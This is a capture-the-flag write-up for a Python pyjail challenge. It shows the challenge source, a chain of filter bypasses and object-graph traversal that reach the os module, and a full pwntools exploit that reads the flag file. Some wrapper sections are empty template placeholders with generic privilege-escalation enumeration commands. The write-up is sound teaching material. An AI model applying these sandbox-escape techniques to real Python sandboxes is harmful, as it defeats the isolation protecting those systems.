← Back to Writeups
HTBN/AMisc

build-a-builtin-revenge

XESXOR8/23/20266 min read
#misc#htb#n/a

build-a-builtin-revenge

Platform: B01Lersc | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: async_import_trigger, escape_sequence_dot_bypass, exec_callback_injection, fileloader_globals_leak, object_graph_traversal

Summary

Task: a Python 3.14 pyjail forbids literal dots, 'import' and 'match' substrings, wipes builtins, and provides only set_builtin helper. Solution: use escape sequences to bypass filters, trigger import via async coroutine creation, inject exec callback to evaluate dotted code constructed with \x2e escapes, then traverse object graph to FileLoader globals for os module access.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_build_a_builtin_revenge
  • Tags: pyjail, python, builtins, blacklist, coroutine, async, escape_sequence
  • Indicators: literal '.' is blacklisted in raw input, substring 'import' is blacklisted in raw input, substring 'match' is blacklisted in raw input, builtins cleared but set_builtin helper available, exec globals contain saved exec function
  • Source: 20260418_b01lersc_build_a_builtin_revenge.md

Foothold

Vulnerability / Misconfiguration

  1. Async_import_trigger
  2. Escape_sequence_dot_bypass
  3. Exec_callback_injection
  4. Fileloader_globals_leak
  5. Object_graph_traversal
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • async_import_trigger
  • escape_sequence_dot_bypass
  • exec_callback_injection
  • fileloader_globals_leak
  • object_graph_traversal
  • Tags: pyjail, python, builtins, blacklist, coroutine, async, escape_sequence

Original Writeup

<details><summary>Click to expand original content</summary>

Description

No separate organizer prompt was included; the challenge was distributed through the service source and Dockerfile.

This is the "revenge" version of build-a-builtin. The original challenge allowed dotless attribute access via from x import y syntax. The revenge version specifically blocks this by adding an "import" substring filter, creating what initially appears to be a perfect catch-22.

Challenge Summary

#!/usr/local/bin/python3
import builtins

code = input("code > ")

if "." in code:
    print("Nuh uh")
    exit(1)

if "import" in code or "match" in code:
    print("Slopadoodledoo")
    exit(1)

def set_builtin(key, val):
    builtins.__dict__[key] = val

exec = exec
builtins.__dict__.clear()
exec(code, {"set_builtin": set_builtin}, {})

Key constraints:

  1. No literal dots in raw input
  2. No "import" substring in raw input (blocks from x import y)
  3. No "match" substring in raw input (blocks pattern matching)
  4. Builtins cleared — no getattr, eval, exec, open, etc.
  5. Only set_builtin(key, val) available to write back into builtins
  6. Flag path randomized as /flag-<32hex>.txt

The critical observation: exec = exec saves the real exec function into the module globals BEFORE clearing builtins. This exec is accessible via set_builtin.__globals__["exec"].

Analysis

The Catch-22

We need exec to evaluate code containing dots. But exec is trapped in set_builtin.__globals__, and accessing .__globals__ requires:

  • Dots (blocked)
  • from x import y (blocked — contains "import")
  • getattr() (cleared)
  • match patterns (blocked)

Dead Ends Explored

  1. Unicode dot alternatives — Fullwidth dot (U+FF0E), middle dot (U+00B7), etc. are either invalid Python syntax or normalize incorrectly
  2. Template strings (t-strings) — Can create Interpolation objects but extracting .value requires dots
  3. TypeAliasTypetype X = expr creates lazy alias but .__value__ requires dots
  4. Annotation evaluation__annotate_func__ returns strings, not evaluated code
  5. Cell objects__classdictcell__ is not subscriptable or iterable

The Breakthrough: Escape Sequences + Async Coroutines

Key insight 1: Escape sequences bypass raw string filters!

  • "__\x69mport__" = "__import__" without "import" in raw input
  • "\x2e" = "." — we can construct strings containing dots

Key insight 2: Async coroutine creation triggers __import__!

  • async def f(): pass; C = f() creates a coroutine object
  • This internally calls __import__("_asyncio", globals, locals, ...) or similar
  • Unlike generic classes (class A[T]), this does NOT require sys.modules['typing']

Key insight 3: The __import__ callback receives the exec globals dict!

  • globals argument contains set_builtin function
  • More importantly, globals contains "exec" key pointing to the saved exec function!
  • We can access a[1]["exec"] inside the callback (where a is *args)

The Exploit Chain

  1. Define fake __import__ using string-splitting to bypass filter:
   set_builtin("__impo""rt__", i)  # "import" not in raw input!
  1. Create callback that uses exec from globals:
   def i(*a, p=stage):
       a[1]["exec"](p, a[1])  # a[1] is globals dict, contains exec!
       return 0
  1. Trigger import via async coroutine:
   async def f():
       pass
   C = f()  # Triggers __import__ callback!
  1. Stage string uses \x2e for dots:
   stage = r'"g=[c for c in (1)\x2e__class__\x2e__mro__[1]\x2e__subclasses__() ..."'

When this string is exec()ed, \x2e becomes real . characters!

  1. Object graph traversal to find FileLoader:
   g = [c for c in (1).__class__.__mro__[1].__subclasses__() 
        if c.__name__ == 'FileLoader'][0].__init__.__globals__

FileLoader.__init__.__globals__ contains _os module!

  1. Read flag using os primitives:
   p = [x for x in g['_os'].listdir('/') if x[:5] == 'flag-'][0]
   fd = g['_os'].open('/' + p, 0)
   b = g['_os'].read(fd, 4096)
   g['_os'].write(1, b)
   g['_os']._exit(0)

Solution

#!/usr/bin/env python3
from pwn import *

h, p = "build-a-builtin-revenge.opus4-7.b01le.rs", 8443

# Stage code with escaped dots - when exec'd, \x2e becomes real dots
stage = r'"g=[c for c in (1)\x2e__class__\x2e__mro__[1]\x2e__subclasses__() if c\x2e__name__==\'FileLoader\'][0]\x2e__init__\x2e__globals__\np=[x for x in g[\'_os\']\x2elistdir(\'/\') if x[:5]==\'flag-\'][0]\nfd=g[\'_os\']\x2eopen(\'/\'+p,0)\nb=g[\'_os\']\x2eread(fd,4096)\ng[\'_os\']\x2ewrite(1,b)\ng[\'_os\']\x2e_exit(0)"'

# Multiline payload using \r (carriage return parsed as newline)
x = "\r".join((
    f"def i(*a,p={stage}):",           # Fake __import__ with stage as default arg
    ' a[1]["exec"](p,a[1])',            # a[1] is globals dict containing exec!
    " return 0",
    'set_builtin("__impo""rt__",i)',    # String split bypasses "import" filter
    "async def f():",                    # Async function definition
    " pass",
    "C=f()",                             # Creating coroutine triggers __import__!
)) + "\n"

io = remote(h, p, ssl=True)
io.recvuntil(b"code > ")
io.send(x)
print(io.recvall())

Why This Works

  1. Filter bypass: "__impo""rt__" concatenates to "__import__" at runtime, but raw input doesn't contain "import" substring

  2. Async import trigger: Unlike generic classes that need typing module, async coroutine creation triggers a simpler import path that our fake __import__ can intercept

  3. Exec from callback globals: The callback receives the exec globals dict as a[1], which contains the saved exec function from exec = exec before the clear

  4. Escape sequence evaluation: The stage string contains \x2e which is just the characters \, x, 2, e in the raw payload. When exec() runs this string, Python's string parser converts \x2e to actual . characters

  5. FileLoader gadget: importlib._bootstrap_external.FileLoader is a Python class whose __init__.__globals__ contains _os — a reference to the os module

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR